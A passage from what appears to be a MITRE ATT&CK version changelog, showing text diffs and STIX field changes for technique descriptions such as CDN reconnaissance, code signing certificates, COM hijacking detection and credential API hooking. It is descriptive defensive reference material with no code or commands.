| > | [Compromise Infrastructure](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1584)), and/or initial a | ||
| > | ques/T1584)), and/or initial access (ex: [Drive-by Compromis | > | ccess (ex: [Drive-by Compromise](https://attack.mitre.org/te | ||
| > | e](https://attack.mitre.org/techniques/T1189)). | > | chniques/T1189)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:17:09.684000+00:00 | 2021-04-15 03:47:55.905000+00:00 |
| description | Before compromising a victim, adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). | Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's client |
| > | tion about the victim's client configurations that can be us | > | configurations that can be used during targeting. Informati | ||
| > | ed during targeting. Information about client configurations | > | on about client configurations may include a variety of deta | ||
| > | may include a variety of details and settings, including op | > | ils and settings, including operating system/version, virtua | ||
| > | erating system/version, virtualization, architecture (ex: 32 | > | lization, architecture (ex: 32 or 64 bit), language, and/or | ||
| > | or 64 bit), language, and/or time zone. Adversaries may ga | > | time zone. Adversaries may gather this information in vario | ||
| > | ther this information in various ways, such as direct collec | > | us ways, such as direct collection actions via [Active Scann | ||
| > | tion actions via [Active Scanning](https://attack.mitre.org/ | > | ing](https://attack.mitre.org/techniques/T1595) (ex: listeni | ||
| > | techniques/T1595) (ex: listening ports, server banners, user | > | ng ports, server banners, user agent strings) or [Phishing f | ||
| > | agent strings) or [Phishing for Information](https://attack | > | or Information](https://attack.mitre.org/techniques/T1598). | ||
| > | .mitre.org/techniques/T1598). Adversaries may also compromis | > | Adversaries may also compromise sites then include malicious | ||
| > | e sites then include malicious content designed to collect h | > | content designed to collect host information from visitors. | ||
| > | ost information from visitors.(Citation: ATT ScanBox) Inform | > | (Citation: ATT ScanBox) Information about the client configu | ||
| > | ation about the client configurations may also be exposed to | > | rations may also be exposed to adversaries via online or oth | ||
| > | adversaries via online or other accessible data sets (ex: j | > | er accessible data sets (ex: job postings, network maps, ass | ||
| > | ob postings, network maps, assessment reports, resumes, or p | > | essment reports, resumes, or purchase invoices). Gathering t | ||
| > | urchase invoices). Gathering this information may reveal opp | > | his information may reveal opportunities for other forms of | ||
| > | ortunities for other forms of reconnaissance (ex: [Search Op | > | reconnaissance (ex: [Search Open Websites/Domains](https://a | ||
| > | en Websites/Domains](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1593) or [Search Open Technical | ||
| > | 93) or [Search Open Technical Databases](https://attack.mitr | > | Databases](https://attack.mitre.org/techniques/T1596)), esta | ||
| > | e.org/techniques/T1596)), establishing operational resources | > | blishing operational resources (ex: [Develop Capabilities](h | ||
| > | (ex: [Develop Capabilities](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1587) or [Obtain Capabil | ||
| > | ques/T1587) or [Obtain Capabilities](https://attack.mitre.or | > | ities](https://attack.mitre.org/techniques/T1588)), and/or i | ||
| > | g/techniques/T1588)), and/or initial access (ex: [Supply Cha | > | nitial access (ex: [Supply Chain Compromise](https://attack. | ||
| > | in Compromise](https://attack.mitre.org/techniques/T1195) or | > | mitre.org/techniques/T1195) or [External Remote Services](ht | ||
| > | [External Remote Services](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1133)). | ||
| > | ues/T1133)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:52:10.774000+00:00 | 2021-04-15 03:22:14.288000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create self-si | t | 1 | Adversaries may create self-signed code signing certificates |
| > | gned code signing certificates that can be used during targe | > | that can be used during targeting. Code signing is the proc | ||
| > | ting. Code signing is the process of digitally signing execu | > | ess of digitally signing executables and scripts to confirm | ||
| > | tables and scripts to confirm the software author and guaran | > | the software author and guarantee that the code has not been | ||
| > | tee that the code has not been altered or corrupted. Code si | > | altered or corrupted. Code signing provides a level of auth | ||
| > | gning provides a level of authenticity for a program from th | > | enticity for a program from the developer and a guarantee th | ||
| > | e developer and a guarantee that the program has not been ta | > | at the program has not been tampered with.(Citation: Wikiped | ||
| > | mpered with.(Citation: Wikipedia Code Signing) Users and/or | > | ia Code Signing) Users and/or security tools may trust a sig | ||
| > | security tools may trust a signed piece of code more than an | > | ned piece of code more than an unsigned piece of code even i | ||
| > | unsigned piece of code even if they don't know who issued t | > | f they don't know who issued the certificate or who the auth | ||
| > | he certificate or who the author is. Prior to [Code Signing | > | or is. Prior to [Code Signing](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1553/002), adversarie | > | hniques/T1553/002), adversaries may develop self-signed code | ||
| > | s may develop self-signed code signing certificates for use | > | signing certificates for use in operations. | ||
| > | in operations. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 01:15:54.945000+00:00 | 2021-04-15 03:06:56.855000+00:00 |
| description | Before compromising a victim, adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. | Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal code signing certificates t |
| > | al code signing certificates that can be used during targeti | > | hat can be used during targeting. Code signing is the proces | ||
| > | ng. Code signing is the process of digitally signing executa | > | s of digitally signing executables and scripts to confirm th | ||
| > | bles and scripts to confirm the software author and guarante | > | e software author and guarantee that the code has not been a | ||
| > | e that the code has not been altered or corrupted. Code sign | > | ltered or corrupted. Code signing provides a level of authen | ||
| > | ing provides a level of authenticity for a program from the | > | ticity for a program from the developer and a guarantee that | ||
| > | developer and a guarantee that the program has not been tamp | > | the program has not been tampered with.(Citation: Wikipedia | ||
| > | ered with.(Citation: Wikipedia Code Signing) Users and/or se | > | Code Signing) Users and/or security tools may trust a signe | ||
| > | curity tools may trust a signed piece of code more than an u | > | d piece of code more than an unsigned piece of code even if | ||
| > | nsigned piece of code even if they don't know who issued the | > | they don't know who issued the certificate or who the author | ||
| > | certificate or who the author is. Prior to [Code Signing]( | > | is. Prior to [Code Signing](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1553/002), adversaries | > | iques/T1553/002), adversaries may purchase or steal code sig | ||
| > | may purchase or steal code signing certificates for use in o | > | ning certificates for use in operations. The purchase of cod | ||
| > | perations. The purchase of code signing certificates may be | > | e signing certificates may be done using a front organizatio | ||
| > | done using a front organization or using information stolen | > | n or using information stolen from a previously compromised | ||
| > | from a previously compromised entity that allows the adversa | > | entity that allows the adversary to validate to a certificat | ||
| > | ry to validate to a certificate provider as that entity. Adv | > | e provider as that entity. Adversaries may also steal code s | ||
| > | ersaries may also steal code signing materials directly from | > | igning materials directly from a compromised third-party. | ||
| > | a compromised third-party. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:22:21.007000+00:00 | 2021-04-15 03:13:16.259000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. | Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse command and script interpreters to exe | t | 1 | Adversaries may abuse command and script interpreters to exe |
| > | cute commands, scripts, or binaries. These interfaces and la | > | cute commands, scripts, or binaries. These interfaces and la | ||
| > | nguages provide ways of interacting with computer systems an | > | nguages provide ways of interacting with computer systems an | ||
| > | d are a common feature across many different platforms. Most | > | d are a common feature across many different platforms. Most | ||
| > | systems come with some built-in command-line interface and | > | systems come with some built-in command-line interface and | ||
| > | scripting capabilities, for example, macOS and Linux distrib | > | scripting capabilities, for example, macOS and Linux distrib | ||
| > | utions include some flavor of [Unix Shell](https://attack.mi | > | utions include some flavor of [Unix Shell](https://attack.mi | ||
| > | tre.org/techniques/T1059/004) while Windows installations in | > | tre.org/techniques/T1059/004) while Windows installations in | ||
| > | clude the [Windows Command Shell](https://attack.mitre.org/t | > | clude the [Windows Command Shell](https://attack.mitre.org/t | ||
| > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | ||
| > | rg/techniques/T1059/001). There are also cross-platform int | > | rg/techniques/T1059/001). There are also cross-platform int | ||
| > | erpreters such as [Python](https://attack.mitre.org/techniqu | > | erpreters such as [Python](https://attack.mitre.org/techniqu | ||
| > | es/T1059/006), as well as those commonly associated with cli | > | es/T1059/006), as well as those commonly associated with cli | ||
| > | ent applications such as [JavaScript/JScript](https://attack | > | ent applications such as [JavaScript](https://attack.mitre.o | ||
| > | .mitre.org/techniques/T1059/007) and [Visual Basic](https:// | > | rg/techniques/T1059/007) and [Visual Basic](https://attack.m | ||
| > | attack.mitre.org/techniques/T1059/005). Adversaries may abu | > | itre.org/techniques/T1059/005). Adversaries may abuse these | ||
| > | se these technologies in various ways as a means of executin | > | technologies in various ways as a means of executing arbitr | ||
| > | g arbitrary commands. Commands and scripts can be embedded i | > | ary commands. Commands and scripts can be embedded in [Initi | ||
| > | n [Initial Access](https://attack.mitre.org/tactics/TA0001) | > | al Access](https://attack.mitre.org/tactics/TA0001) payloads | ||
| > | payloads delivered to victims as lure documents or as second | > | delivered to victims as lure documents or as secondary payl | ||
| > | ary payloads downloaded from an existing C2. Adversaries may | > | oads downloaded from an existing C2. Adversaries may also ex | ||
| > | also execute commands through interactive terminals/shells. | > | ecute commands through interactive terminals/shells. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 16:43:39.362000+00:00 | 2021-04-27 19:21:06.164000+00:00 |
| description | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | PowerShell logs | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process command-line parameters | Script: Script Execution |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 13:55:51.172000+00:00 | 2020-11-10 18:19:44.750000+00:00 |
| external_references[3]['source_name'] | Endgame COM Hijacking | Elastic COM Hijacking |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[3] | DLL monitoring | Module: Module Load |
| x_mitre_detection | There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. | There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise acc | t | 1 | Adversaries may compromise accounts with services that can b |
| > | ounts with services that can be used during targeting. For o | > | e used during targeting. For operations incorporating social | ||
| > | perations incorporating social engineering, the utilization | > | engineering, the utilization of an online persona may be im | ||
| > | of an online persona may be important. Rather than creating | > | portant. Rather than creating and cultivating accounts (i.e. | ||
| > | and cultivating accounts (i.e. [Establish Accounts](https:// | > | [Establish Accounts](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1585)), adversaries may comprom | > | 585)), adversaries may compromise existing accounts. Utilizi | ||
| > | ise existing accounts. Utilizing an existing persona may eng | > | ng an existing persona may engender a level of trust in a po | ||
| > | ender a level of trust in a potential victim if they have a | > | tential victim if they have a relationship, or knowledge of, | ||
| > | relationship, or knowledge of, the compromised persona. A | > | the compromised persona. A variety of methods exist for c | ||
| > | variety of methods exist for compromising accounts, such as | > | ompromising accounts, such as gathering credentials via [Phi | ||
| > | gathering credentials via [Phishing for Information](https:/ | > | shing for Information](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1598), purchasing credentials | > | 1598), purchasing credentials from third-party sites, or by | ||
| > | from third-party sites, or by brute forcing credentials (ex: | > | brute forcing credentials (ex: password reuse from breach cr | ||
| > | password reuse from breach credential dumps).(Citation: Ano | > | edential dumps).(Citation: AnonHBGary) Prior to compromising | ||
| > | nHBGary) Prior to compromising accounts, adversaries may con | > | accounts, adversaries may conduct Reconnaissance to inform | ||
| > | duct Reconnaissance to inform decisions about which accounts | > | decisions about which accounts to compromise to further thei | ||
| > | to compromise to further their operation. Personas may exi | > | r operation. Personas may exist on a single site or across | ||
| > | st on a single site or across multiple sites (ex: Facebook, | > | multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc | ||
| > | LinkedIn, Twitter, Google, etc.). Compromised accounts may r | > | .). Compromised accounts may require additional development, | ||
| > | equire additional development, this could include filling ou | > | this could include filling out or modifying profile informa | ||
| > | t or modifying profile information, further developing socia | > | tion, further developing social networks, or incorporating p | ||
| > | l networks, or incorporating photos. Adversaries may direct | > | hotos. Adversaries may directly leverage compromised email | ||
| > | ly leverage compromised email accounts for [Phishing for Inf | > | accounts for [Phishing for Information](https://attack.mitre | ||
| > | ormation](https://attack.mitre.org/techniques/T1598) or [Phi | > | .org/techniques/T1598) or [Phishing](https://attack.mitre.or | ||
| > | shing](https://attack.mitre.org/techniques/T1566). | > | g/techniques/T1566). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Social media monitoring'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:05:46.296000+00:00 | 2021-04-15 02:59:07.046000+00:00 |
| description | Before compromising a victim, adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). | Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party infrastructure that c |
| > | rd-party infrastructure that can be used during targeting. I | > | an be used during targeting. Infrastructure solutions includ | ||
| > | nfrastructure solutions include physical or cloud servers, d | > | e physical or cloud servers, domains, and third-party web se | ||
| > | omains, and third-party web services. Instead of buying, lea | > | rvices. Instead of buying, leasing, or renting infrastructur | ||
| > | sing, or renting infrastructure an adversary may compromise | > | e an adversary may compromise infrastructure and use it duri | ||
| > | infrastructure and use it during other phases of the adversa | > | ng other phases of the adversary lifecycle.(Citation: Mandia | ||
| > | ry lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomain | > | nt APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos | ||
| > | NameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation | > | DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) | ||
| > | : FireEye EPS Awakens Part 2) Additionally, adversaries may | > | Additionally, adversaries may compromise numerous machines t | ||
| > | compromise numerous machines to form a botnet they can lever | > | o form a botnet they can leverage. Use of compromised infra | ||
| > | age. Use of compromised infrastructure allows an adversary | > | structure allows an adversary to stage, launch, and execute | ||
| > | to stage, launch, and execute an operation. Compromised infr | > | an operation. Compromised infrastructure can help adversary | ||
| > | astructure can help adversary operations blend in with traff | > | operations blend in with traffic that is seen as normal, suc | ||
| > | ic that is seen as normal, such as contact with high reputat | > | h as contact with high reputation or trusted sites. By using | ||
| > | ion or trusted sites. By using compromised infrastructure, a | > | compromised infrastructure, adversaries may make it difficu | ||
| > | dversaries may make it difficult to tie their actions back t | > | lt to tie their actions back to them. Prior to targeting, ad | ||
| > | o them. Prior to targeting, adversaries may compromise the i | > | versaries may compromise the infrastructure of other adversa | ||
| > | nfrastructure of other adversaries.(Citation: NSA NCSC Turla | > | ries.(Citation: NSA NCSC Turla OilRig) | ||
| > | OilRig) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:03:23.937000+00:00 | 2021-04-15 03:04:40.423000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) | Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may hook into Windows application programming in | t | 1 | Adversaries may hook into Windows application programming in |
| > | terface (API) functions to collect user credentials. Malicio | > | terface (API) functions to collect user credentials. Malicio | ||
| > | us hooking mechanisms may capture API calls that include par | > | us hooking mechanisms may capture API calls that include par | ||
| > | ameters that reveal user authentication credentials.(Citatio | > | ameters that reveal user authentication credentials.(Citatio | ||
| > | n: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike | > | n: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike | ||
| > | [Keylogging](https://attack.mitre.org/techniques/T1056/001), | > | [Keylogging](https://attack.mitre.org/techniques/T1056/001), | ||
| > | this technique focuses specifically on API functions that | > | this technique focuses specifically on API functions that | ||
| > | include parameters that reveal user credentials. Hooking inv | > | include parameters that reveal user credentials. Hooking inv | ||
| > | olves redirecting calls to these functions and can be implem | > | olves redirecting calls to these functions and can be implem | ||
| > | ented via: * **Hooks procedures**, which intercept and exec | > | ented via: * **Hooks procedures**, which intercept and exec | ||
| > | ute designated code in response to events such as messages, | > | ute designated code in response to events such as messages, | ||
| > | keystrokes, and mouse inputs.(Citation: Microsoft Hook Overv | > | keystrokes, and mouse inputs.(Citation: Microsoft Hook Overv | ||
| > | iew)(Citation: Endgame Process Injection July 2017) * **Impo | > | iew)(Citation: Elastic Process Injection July 2017) * **Impo | ||
| > | rt address table (IAT) hooking**, which use modifications to | > | rt address table (IAT) hooking**, which use modifications to | ||
| > | a process’s IAT, where pointers to imported API functions a | > | a process’s IAT, where pointers to imported API functions a | ||
| > | re stored.(Citation: Endgame Process Injection July 2017)(Ci | > | re stored.(Citation: Elastic Process Injection July 2017)(Ci | ||
